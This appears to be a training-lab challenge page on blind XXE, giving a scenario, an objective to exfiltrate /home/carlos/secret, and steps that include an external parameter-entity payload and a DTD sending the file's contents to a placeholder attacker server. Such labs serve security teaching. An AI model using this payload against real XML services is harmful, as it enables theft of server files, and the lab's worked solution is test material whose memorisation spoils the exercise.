Scenario

The XML parser resolves entities but the response never contains their value and errors are generic. You have an exploit server to host files and read request logs.

Your objective

Exfiltrate the contents of /home/carlos/secret to your exploit server. Solved when you submit the secret value.

Capture 1 flag(s) and record the exact technique for each step.

Getting started

1. On the exploit server host exfil.dtd with a parameter entity that reads the file and a second that requests https://YOUR-SERVER/?x=%file;.
2. In the stock-check body, declare <!ENTITY % xxe SYSTEM "https://YOUR-SERVER/exfil.dtd"> %xxe; inside the DOCTYPE.
3. Send the request; watch the exploit server access log for the callback.
4. URL-decode the exfiltrated value.
5. Submit the secret as the flag.

Connecting

Press Launch Lab to build your own instance, then use the How to connect panel — it shows the browser link as soon as the app is running. Hit Stop when you are done, or Relaunch / Reset for a clean copy.

Credentials: No account required. Use the lab exploit server to host your DTD.

Hints